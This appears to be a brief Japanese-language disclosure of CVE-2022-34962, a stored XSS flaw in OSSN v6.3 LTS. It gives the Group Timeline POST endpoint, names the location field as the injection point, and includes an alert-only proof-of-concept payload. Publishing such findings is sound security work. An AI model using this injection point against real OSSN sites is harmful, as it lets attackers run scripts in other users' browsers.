bypazs/cve-2022-34962OpenTeknik LLC OSSN OPEN SOURCE SOCIAL NETWORK v6.3 LTS において、Group Timeline モジュールを介した格納型クロスサイトスクリプティング（XSS）の脆弱性が発見されました。
OpenTeknik LLC OSSN OPEN SOURCE SOCIAL NETWORK v6.3 LTS は、Group Timeline モジュールを介して格納型クロスサイトスクリプティング（XSS）脆弱性を含むことが発見されました。
攻撃者は、Group Timeline に何かを投稿し、ロケーション入力にXSSペイロードを挿入することで、格納型XSSを悪用する必要があります。XSSペイロードは送信後すぐに実行されます。
http://ip_address:port/ossn/group/{number}
POST /ossn/action/wall/post/g?ossn_ts=1656419377&ossn_token=c0ee6b52f853a5073679f7a82372a0726a6a6e7d5500ec372fef9341f1e45e21
``
<BODY ONLOAD=alert('Grim-The-Ripper-Team-by-SOSECURE-Thailand')>
``
OSSN v6.3 LTS (https://github.com/opensource-socialnetwork/opensource-socialnetwork/releases/tag/6.3)
Google Chrome Version 102.0.5005.115 (Official Build) (x86_64)
:shipit: Grim The Ripper Team by SOSECURE Thailand
参考:
